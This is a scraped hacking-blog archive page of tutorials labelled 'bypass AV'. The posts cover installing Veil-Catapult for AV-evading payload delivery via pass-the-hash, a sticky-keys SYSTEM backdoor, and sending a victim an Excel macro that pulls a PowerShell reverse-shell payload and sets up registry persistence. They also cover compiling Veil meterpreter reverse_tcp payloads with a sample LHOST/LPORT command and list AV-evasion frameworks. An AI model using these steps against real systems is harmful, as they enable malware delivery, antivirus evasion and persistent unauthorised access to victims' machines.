KNOX D3: bypass AV

Showing posts with label bypass AV. Show all posts

How to install and use Veil-Catapult in backtrack?

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">Today we are gonna talk about Veil-Catapult.Veil-Catapult is payload delivery for when metasploit’s psexec getting caught by AV.It utilizes Veil-Evasion to generate AV-evading binaries, impacket to upload/host the binaries, and the passing-the-hash toolkit to trigger execution.It officially supported on kali linux only.I`m going to show you how to install Veil-Catapult in backtrack? <br /><br />First if you have not already installed <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html">veil-evasion</a> framework then first install it as mentioned <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html">here</a>.After installing Veil-evasion follow steps. <br /><br />root@bt:~wget https://github.com/Veil-Framework/Veil-Catapult/archive/master.zip <br /><br />root@bt:~unzip master.zip  <br /><br />root@bt:~cd Veil-Catapult-master/ <br /><br />root@bt:~sh setup.sh <br /><br />Now veil-catapult require impacket library & passing the hash toolkit.So setup script try to install PTH suite but we got error.So we have to manually do it. </div><h3 style="text-align: left;">Install passing the hash. </h3><div style="text-align: left;"><br />root@bt:~wget https://passing-the-hash.googlecode.com/files/wmiPTH-1.0-1.deb <br /><br />root@bt:~wget https://passing-the-hash.googlecode.com/files/winexePTH1.1.0-1.deb <br /><br />root@bt:~dpkg -i winexePTH1.1.0-1.deb <br /><br />root@bt:~dpkg -i wmiPTH-1.0-1.deb <br /><br />If you are using other OS then you have to manually build it as mentioned <a href="http://passing-the-hash.blogspot.in/2012/07/building-pth-suite-post-install.html">here</a> . <br /><br />It installed into the /opt/pth/bin folder , we have to move it into /usr/bin. <br /><br />root@bt:~# ln -s /opt/pth/bin/wmis /usr/bin/pth-wmis <br /><br />root@bt:~# ln -s /opt/pth/bin/winexe /usr/bin/pth-winexe <br /><br />root@bt:~# ln -s /opt/pth/bin/wmic /usr/bin/pth-wmic </div><a name="more"></a><h3 style="text-align: left;">Installing impacket library </h3><div style="text-align: left;"><br />root@bt:~# wget http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=tool&page=Impacket&file=impacket-0.9.11.tar.gz <br /><br />root@bt:~# tar -xvzf impacket-0.9.11.tar.gz  <br /><br />root@bt:~# cd impacket <br /><br />root@bt:~# python setup.py build  <br /><br />I know you have question that we can install it , but when we tried to install , it  installed succesfully ;but some of modules are missing.So we first gonna build it then copy it. Now copy folder impacket from build/lib.linux-i686-2.6/ and paste it into /usr/lib/pymodules/python2.6  <br /><br />Now everything is ready ,we can run it. Before that open /etc/veil/settings.py and checkout all path. <br /><br />root@bt:~/Veil-Catapult-master# python Veil-Catapult.py  <br /><br />Now select number according to your choice & fill out necessary option. </div><h3 style="text-align: left;">Powershell injector </h3><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0BDFHBpObRMq4opQzHFIeOG4vA5vCKKzyZ_gvbTwQ6dAWStCSKsDcehaGuomFCqwFbvrHJdkLVZ6v_GeKSdzz0pLOw-6KXPXTp5QCFos4MU2AYfNFhEhGHPT6afeJ5s1hdyzUcdyyLaeN/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="powershell-injector" border="0" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0BDFHBpObRMq4opQzHFIeOG4vA5vCKKzyZ_gvbTwQ6dAWStCSKsDcehaGuomFCqwFbvrHJdkLVZ6v_GeKSdzz0pLOw-6KXPXTp5QCFos4MU2AYfNFhEhGHPT6afeJ5s1hdyzUcdyyLaeN/s1600/Screenshot-1.png" title="powershell-injector" width="200" /></a></div><div style="text-align: left;"></div><h3 style="text-align: left;">Barebones python injector </h3><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQB2EDELvZHiRKe3nc9BrA2zgFffT8AwQ7x6B5nfpXcxInyP9Ot80XlEoXALSd5jluonMM4rcPeVcx-DcR4E0Q7y14ImF9SiCjOli9qTxisDsRDpLQa9pgX4zXegbLWnFZlOP2mxyq6f2R/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Barebones-Python-Injection" border="0" height="43" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQB2EDELvZHiRKe3nc9BrA2zgFffT8AwQ7x6B5nfpXcxInyP9Ot80XlEoXALSd5jluonMM4rcPeVcx-DcR4E0Q7y14ImF9SiCjOli9qTxisDsRDpLQa9pgX4zXegbLWnFZlOP2mxyq6f2R/s1600/Screenshot-2.png" title="Barebones-Python-Injection" width="200" /></a></div><h3 class="separator" style="clear: both; text-align: left;">Sethc backdoor</h3><div style="text-align: left;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZC3tosDIr_tc3JRV7zWmWlm99zsvpRpFPkdcmKyYIlAt3KLCoezEyjCFTdhANOli2ePYIYHcFIAfXYJdSk0qpPH0_T_LOB_xv5VgWGziWfWdo5mvIbjNyUfogBXM4OdkYfzEnlWeyL389/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZC3tosDIr_tc3JRV7zWmWlm99zsvpRpFPkdcmKyYIlAt3KLCoezEyjCFTdhANOli2ePYIYHcFIAfXYJdSk0qpPH0_T_LOB_xv5VgWGziWfWdo5mvIbjNyUfogBXM4OdkYfzEnlWeyL389/s1600/Screenshot.png" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><div style="text-align: left;">Reboot, hit Shift key 5 times, SYSTEM shell will pop up. Also there is <a href="http://tipstrickshack.blogspot.com/2013/08/post-exploitation-swaparoo-backdoor.html">script</a> for it in metasploit.Check it out this awesome <a href="http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html">blog</a> for more details.<br /><h3 style="text-align: left;">EXE delivery upload  </h3></div></div><div style="text-align: left;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj-vkoCmHU3efM5JZjKKTIcYP_JgK5cW1nFomDGbnN7LWgj57nRbfIvK27s9FWP7bb6H6-u62cNohb9Iygs83EnEYLQvdVdKo5ZqGpf0QjnjJ6Z9mA3rKL3qk3L2uWOZTTrb6mhM1Hm5B2/s1600/Screenshot-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exe-deliver" border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj-vkoCmHU3efM5JZjKKTIcYP_JgK5cW1nFomDGbnN7LWgj57nRbfIvK27s9FWP7bb6H6-u62cNohb9Iygs83EnEYLQvdVdKo5ZqGpf0QjnjJ6Z9mA3rKL3qk3L2uWOZTTrb6mhM1Hm5B2/s1600/Screenshot-4.png" title="exe-deliver" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy_6sOPz1MzJ-7FldzA1ncj2axmb8UI7wxr6bKgDXk2BdZPU-bWebY9J5IfqATpl8E3aeOAwEIBA5cCVndIQfdzPxa8W5Geb6rVzv-BR-IIVWU-0jFlEzVpl9ruPirX2lNMQpnwMkZMMqT/s1600/Screenshot-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="veil-catapult-exe-upload" border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy_6sOPz1MzJ-7FldzA1ncj2axmb8UI7wxr6bKgDXk2BdZPU-bWebY9J5IfqATpl8E3aeOAwEIBA5cCVndIQfdzPxa8W5Geb6rVzv-BR-IIVWU-0jFlEzVpl9ruPirX2lNMQpnwMkZMMqT/s1600/Screenshot-6.png" title="veil-catapult-exe-upload" width="320" /></a></div><br />Cleanup resource script is generated , you can use it after your work completed for kill process & remove exe.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQYJ4xpRPcERU19EdEBmIc-o3DpYrJpfaS7XHA0uuC1TB630LvYeDNd0rgvUZGAAwd7crJBjUbF35AGYucdhh2hNJ6_8aAiEKFHjvnB0AQgIRWyDgmfqoUuLIbH_f-fUw3I67mITUeSYkH/s1600/Screenshot-7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Veil-Catapult-cleanup-script" border="0" height="135" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQYJ4xpRPcERU19EdEBmIc-o3DpYrJpfaS7XHA0uuC1TB630LvYeDNd0rgvUZGAAwd7crJBjUbF35AGYucdhh2hNJ6_8aAiEKFHjvnB0AQgIRWyDgmfqoUuLIbH_f-fUw3I67mITUeSYkH/s1600/Screenshot-7.png" title="Veil-Catapult-cleanup-script" width="200" /></a></div><br />You can also host exe using temporary SMB server.This will load the payload executable into memory without touching disk,  allowing otherwise disk-detectable executable to bypass detection<br /><div style="text-align: left;"><br />Alternatives of Veil-Catapult are <a href="http://www.pentestgeek.com/2013/10/23/smbexec-2-0-released">smbexec</a>  and <a href="http://bernardodamele.blogspot.in/2009/12/keimpx-in-action.html">keimpx</a>. </div></div>

How to install and use Veil-Catapult in backtrack?

Today we are gonna talk about Veil-Catapult.Veil-Catapult is payload delivery for when metasploit’s psexec getting caught by AV.It utilizes ...

+ Read more »

Deliver powershell payload using macro.

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">In past we saw method of <a href="http://tipstrickshack.blogspot.com/2013/10/get-shell-using-shellcode-in-macro.html">direct shell code execution in Ms word or Excel using macro</a>;but if document is closed then we will lose our shell so we have to migrate to other process and sometimes migration is pick up by AV. So in this tutorial we are going to use powershell payload.</div><h3 style="text-align: left;">Advantages of this method:-</h3><div style="text-align: left;"><br />(1)<a href="http://tipstrickshack.blogspot.com/2013/10/create-backdoor-using-missing-autoruns.html">Persistence</a><br />(2)Migration is not needed<br />(3)<a href="http://tipstrickshack.blogspot.com/search/label/bypass%20AV">AV bypass</a><br /><br />(1)First we will generate powershell payload; for this purpose i used SET.You can also used <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html">Veil</a> or powersploit.Open SET in terminal & select Social-Engineering Attacks and then Powershell Attack Vectors.Generate Powershell Alphanumeric Shellcode Injector.Fill LHOST & LPORT value.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIgJcFI6vBMVRPP2LAFm1P5k42FZU7A23eG6xlTKEfg74-Vynv8AYo7K419uAMcyxEfqNkX7i1EMOiX-sGz4JapkpLUBX9aJqxOMlovAy2zxrIe64UuceWp3HcS-HgTdDC_85OKK5PzLBc/s1600/set-powershell-payload.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="SET-powershell-payload" border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIgJcFI6vBMVRPP2LAFm1P5k42FZU7A23eG6xlTKEfg74-Vynv8AYo7K419uAMcyxEfqNkX7i1EMOiX-sGz4JapkpLUBX9aJqxOMlovAy2zxrIe64UuceWp3HcS-HgTdDC_85OKK5PzLBc/s1600/set-powershell-payload.png" title="SET-powershell-payload" width="200" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;">Our generated powershell payload is located into /root/.set/reports/powershell/. Rename x86_powershell_injection.txt to x32.ps1.</div><a name="more"></a><br />(2)Now Clone git repository of code<br /><br />root@bt:~# <u>git clone https://github.com/enigma0x3/Old-Powershell-payload-Excel-Delivery</u><br /><div style="text-align: left;">root@bt:~# <u>cd Powershell-payload-Excel-Delivery/</u><br /><br />(3)In Powershell-payload-Excel-Delivery folder; rename RemovePayload.bat to remove.bat. Now you have to host remove.bat and x32.ps1 to web-server.Then open persist.vbs file and change URL of x32.ps1 in line 13,33 to your hosted x32.ps1 `s URL. And now also host persist.vbs to web-server. I used localhost.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgit1pKVe3tOcR-B7zawiC9w3QIzpb2UTobLzkBm_BdqfAaUIwIemGKi2lGRrSIGonLN86bxGDZVVPpjf2OIhoEoBpVucncgBnlQhLD223MS1mb44u3jdX-_SoieSPe3p9Ed0_MyqHsB8f_/s1600/host-on-local-server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="hosted-payload" border="0" height="62" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgit1pKVe3tOcR-B7zawiC9w3QIzpb2UTobLzkBm_BdqfAaUIwIemGKi2lGRrSIGonLN86bxGDZVVPpjf2OIhoEoBpVucncgBnlQhLD223MS1mb44u3jdX-_SoieSPe3p9Ed0_MyqHsB8f_/s1600/host-on-local-server.png" title="hosted-payload" width="400" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">(4)Open Macrocode file from cloned folder & change URL in line 27,82,118 respectively to your hosted x32.ps1,persist.vbs and remove.bat `s URL.Now add this macro code into excel document as mentioned in <a href="http://tipstrickshack.blogspot.com/2013/10/get-shell-using-shellcode-in-macro.html">previous tutorial</a>.<br /><br />(5)And last step is setup listener.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA1rdJchfuPwT3tKJYJTP_7QbN8m0owlBsqdQe7X5Kna4SH_efFE9bkB5MS0a0ajEuWlVUurZY_4vNjCZhXJF6o-8GNJ1EGiAdz10OlD8rJbMqafGlIqSJ-pnHEmMXLmuzj5iPuKiP91Qb/s1600/metasploit-lisetner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="metasploit-listener" border="0" height="139" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA1rdJchfuPwT3tKJYJTP_7QbN8m0owlBsqdQe7X5Kna4SH_efFE9bkB5MS0a0ajEuWlVUurZY_4vNjCZhXJF6o-8GNJ1EGiAdz10OlD8rJbMqafGlIqSJ-pnHEmMXLmuzj5iPuKiP91Qb/s1600/metasploit-lisetner.png" title="metasploit-listener" width="200" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Now send this document to victim , as soon as he open document and run macro we will get shell. Once the payload is ran, it runs in the powershell process, so if the user closes excel, you keep your shell. You also remain in a stable process until reboot, so migration is not needed.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvbrFs_v1zB1DKVg9CPrc4ADuIdkbdQ2L-obGub0jxIiVU6iudOKyd6eO8kRK7BvODfj0WwN_3x6eHnc-fSKa50xJUKYTV81YOpWniqOvqFK71su3yzWFTinqyTO2VKCHVOBy5wHGvfqh6/s1600/powershell-process.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="powershell-process" border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvbrFs_v1zB1DKVg9CPrc4ADuIdkbdQ2L-obGub0jxIiVU6iudOKyd6eO8kRK7BvODfj0WwN_3x6eHnc-fSKa50xJUKYTV81YOpWniqOvqFK71su3yzWFTinqyTO2VKCHVOBy5wHGvfqh6/s1600/powershell-process.png" title="powershell-process" width="200" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">It then pulls down a persistence script, drops it, creates a registry key for autorun for the persistence script. Once done, it also drops a self-deleting bat file that removes the initial payload from the system.</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheSTH8V15rPpYJPkTtwE1qvl5ZCWTu-zpc_bet6IQb-p7OzHNLfFuBImTztksckgFdiTvO8urVJXv-3wpVE7lanVSXxQSR7N1rkrImtl5u5Bhd9wJY1BhjZZ7R-JjDT9jrVN_LipXtljm9/s1600/regedit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="persist using regestiry" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheSTH8V15rPpYJPkTtwE1qvl5ZCWTu-zpc_bet6IQb-p7OzHNLfFuBImTztksckgFdiTvO8urVJXv-3wpVE7lanVSXxQSR7N1rkrImtl5u5Bhd9wJY1BhjZZ7R-JjDT9jrVN_LipXtljm9/s1600/regedit.png" title="persist using regestiry" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Thanks to  <a href="https://twitter.com/enigma0x3">enigma0x3</a> for this awesome method.<br /><br /><span style="color: red;">Update</span> :- <span style="font-weight: normal;">New-Powershell-Payload-Excel-Delivery</span><br /><br /><span style="font-weight: normal;">This is a VBA macro that uses Matt Graeber's Invoke-Shellcode to execute a powershell payload in memory as well as schedule a task for persistence(20 min onidle  you get shell).</span><br /><div style="text-align: left;"></div>root@bt:~# <u>git clone https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery.git</u><br />root@bt:~# <u>cd Powershell-Payload-Excel-Delivery/</u><br /><br />Open MacroCode file & change Download URL for Invoke-Shellcode file & change LHOST & LPORT option. Now add macro-code in Excel file & start-up listener. </div></div>

Deliver powershell payload using macro.

In past we saw method of direct shell code execution in Ms word or Excel using macro ;but if document is closed then we will lose our shell ...

+ Read more »

How to solve compile error in veil?

<div dir="ltr" style="text-align: left;" trbidi="on">As you know, <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">veil</a> is AV evasion framework for metasploit payload. On the 15th of every month, for the next year, at least one new payload module will be released.Yesterday they released two new payload.<br /><br /><ol style="text-align: left;"><li>pure windows/meterpreter/reverse_tcp stager, no shellcode</li><li>pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode</li></ol><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Compiler Error in c payloads:-</h3><div style="text-align: left;"><br /> Available c payloads:<br /><br />    VirtualAlloc                         Poor<br />    VoidPointer                         Poor<br />    meter_rev_tcp                     Excellent<br />    meter_rev_tcp_service        Excellent</div><div style="text-align: left;"></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-08bIyo4BEFamlTiVok6U2Dz1xCTwrPZWio8sjGVTLLWzg64kjzR3M2bZSisE-53nUOtyqeAGLugotS44P-f2ltpNrIUzqz-mU3YzWnS1ci3nF6K014EfKVhai2M3CLMf9iYCvBW9zdfa/s1600/2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="c/meter_rev_tcp" border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-08bIyo4BEFamlTiVok6U2Dz1xCTwrPZWio8sjGVTLLWzg64kjzR3M2bZSisE-53nUOtyqeAGLugotS44P-f2ltpNrIUzqz-mU3YzWnS1ci3nF6K014EfKVhai2M3CLMf9iYCvBW9zdfa/s320/2.PNG" title="meter_rev_tcp" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">I used c/meter_rev_tcp. After setting of LHOST & LPORT ; when i try to generate it ; i got error.<br /><a name="more"></a><br />sh: i686-w64-mingw32-gcc: command not found</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP5jr_GqvH3oig1o31nWlJZq6iBvUVckOBCLJtV-NDncSU_oS91vPcTvPgxmgbxZczAY1-v40yGH0Rd4sdeII-RrjEEqdPcpQX3n1UVWyILyjh_NJrcf7T4gp_YqDglw_z7jaQCd3C5fp3/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="i686-w64-mingw32-gcc" border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP5jr_GqvH3oig1o31nWlJZq6iBvUVckOBCLJtV-NDncSU_oS91vPcTvPgxmgbxZczAY1-v40yGH0Rd4sdeII-RrjEEqdPcpQX3n1UVWyILyjh_NJrcf7T4gp_YqDglw_z7jaQCd3C5fp3/s320/3.PNG" title="i686-w64-mingw32-gcc" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Okay now we successfully generated payload file, but we get compiler error while compiling into cross-platform exe.<br /><br />Error clearly suggest that i686-w64-mingw32-gcc is not installed.The mingw-w64 project is a complete run-time environment for gcc to support binaries native to Windows 64-bit and 32-bit operating systems.In short, to compile the payload for 64 bit windows ; we have to install mingw-w64. </div><div style="text-align: left;"><br /></div><div style="text-align: left;">In case of 32 bit windows os , we can compile it,because when you setup veil environment mingw32 installed using wine.</div><h3 style="text-align: left;">Compile payload for 32 bit:-</h3><div style="text-align: left;"><br />root@bt:~# cd .wine/drive_c/MinGW/bin/<br /><br />root@bt:~/.wine/drive_c/MinGW/bin# wine mingw32-gcc.exe /root/veil-output/source/output.c -lwsock32  -o output.exe</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVXRoKMM46agPjGBBunsxlSs_56hcXLVdsSmnK7bTtUj7A4zOed1VnWMqPt20_dgIkxKek6gM2xejuVQM7DiX3yYIauv9lLGx6x7wZ37C0zpJMoFZlQs5UD-hi-KmUc1tZh5ameMpkpltY/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mingw32-gcc" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVXRoKMM46agPjGBBunsxlSs_56hcXLVdsSmnK7bTtUj7A4zOed1VnWMqPt20_dgIkxKek6gM2xejuVQM7DiX3yYIauv9lLGx6x7wZ37C0zpJMoFZlQs5UD-hi-KmUc1tZh5ameMpkpltY/s1600/1.PNG" title="mingw32-gcc" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;">So our payload is compiled into exe for 32 bit windows.</div><h3 style="text-align: left;">Compile payload for 64 bit:-</h3><div style="text-align: left;"><br />For this purpose you have to install mingw32-w64. <br /><br />Download from <a href="http://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/" target="_blank">here</a> & build it.If you don`t want to install it; then you can use pre-compiled <a href="http://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/sezero_4.4_20111031/" target="_blank">version</a>.<br /><br />root@bt:/media/tools/mingw-w64-bin_i686-linux_20111031_sezero/cross_win64/bin# ./x86_64-w64-mingw32-gcc /root/veil-output/source/output.c -lwsock32 -o output.exe<br /><br />I don`t test compiled exe  in 64 bit, so if anyone use it, please let me know exe is working or not.<br /><br />If you want to build MinGW-w64 for Win32 and Win64 using automated bash script, <a href="http://ffmpeg.zeranoe.com/blog/?p=269">click here. </a></div><h3 style="text-align: left;">Compiler error in C#:-</h3><div style="text-align: left;"><span style="font-weight: normal;">Available c# payloads:</span></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: left;">    VirtualAlloc                   Poor<br />    b64SubVirtualAlloc       Normal</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXUV7jC49hHyFIJaucXM7c2UgNGgt__9Wfd_29LnGzI-uz2Sl8btIWHFVpP-tigCs0OFwrRJd5jl9ypGsEHbtvFrytp2byQOQaSRGLGZ5RFiXqBIHNx6TkxvPR1YJ9Zq1uhrqC_ZiMVSe/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="b64SubVirtualAlloc" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXUV7jC49hHyFIJaucXM7c2UgNGgt__9Wfd_29LnGzI-uz2Sl8btIWHFVpP-tigCs0OFwrRJd5jl9ypGsEHbtvFrytp2byQOQaSRGLGZ5RFiXqBIHNx6TkxvPR1YJ9Zq1uhrqC_ZiMVSe/s1600/5.PNG" title="b64SubVirtualAlloc" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">root@bt:~/Downloads/Veil-master# ./Veil.py -l c# -p b64SubVirtualAlloc --msfpayload windows/meterpreter/reverse_tcp -o payload --msfoptions LHOST=192.168.56.101 LPORT=443<br /><br />Our source file has been generated and got following error.<br />error CS2007: Unrecognized command-line option: `-platform:x86'</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgraVWk6pPWrEWLXdQdDD2KrazPXJqyHHvFtUdzwSr2k_4WE9HdK__C_tnZNh3cJ8vBtlUUk3q00rvQunF16qezrT1EwWzbWYcvj-nJ6bbFdrzkzlKKktvoX5K_jM6lCmwOGCMWqHZgwvMM/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="error CS2007" border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgraVWk6pPWrEWLXdQdDD2KrazPXJqyHHvFtUdzwSr2k_4WE9HdK__C_tnZNh3cJ8vBtlUUk3q00rvQunF16qezrT1EwWzbWYcvj-nJ6bbFdrzkzlKKktvoX5K_jM6lCmwOGCMWqHZgwvMM/s320/6.PNG" title="error CS2007" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">gmcs /root/veil-output/source/payload.cs </div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhftZLkY76ZwVkSoP0sWU5cfhrqZffm0lTZSiI2qf0ShvTRSBwmaHrMCTkO7JYcaS9HCOs7VlxdlVA3JxKdP-8DBCnRMcApq4Nmms8D9FrZ7djM8lWShv5_VRQejksMMAoTiyozOidtiXHj/s1600/4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="error CS2007" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhftZLkY76ZwVkSoP0sWU5cfhrqZffm0lTZSiI2qf0ShvTRSBwmaHrMCTkO7JYcaS9HCOs7VlxdlVA3JxKdP-8DBCnRMcApq4Nmms8D9FrZ7djM8lWShv5_VRQejksMMAoTiyozOidtiXHj/s1600/4.PNG" title="error CS2007" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;">Now our exe is generated,it`s in same source folder.</div></div>

How to solve compile error in veil?

As you know, veil is AV evasion framework for metasploit payload. On the 15th of every month, for the next year, at least one new payload m...

+ Read more »

List of Differnet AV evasion Frameworks.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you know which AV you have to bypass, because we don`t have to worry about FUD. Some payload can bypass specific AV ; while other AV can not be bypassed using that payload.<br /><br /><h3 style="text-align: left;">(1)Veil:-</h3><br />Veil is python based tool which create FUD payload , One of the best framework for AV evasion. On the 15th of every month, at least one new payload module will be released.<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">Click here for how to install & use Veil?</a><br /><h3 style="text-align: left;">(2)AV0id :-</h3><br />Anti-Virus Bypass Metasploit Payload Generator Script.<br /><br />wget https://github.com/nccgroup/metasploitavevasion/archive/master.zip<br />unzip master.zip <br />cd metasploitavevasion-master/<br />./avoid.sh<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGhh3q6hfm2xESTVEY_4E8tNNsz-rB7wRM98o50lLSbESUOXrTteieI4Wif_sig4BPnsfBql8-FAAdFyeWTnUjLmR1VCmWRfQFIsPwL8MaarSBFG_KoViY9oaxhKIFVkIwcuqj5dn7Ceuw/s1600/msfevasion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Antivirus Evasion" border="0" height="204" 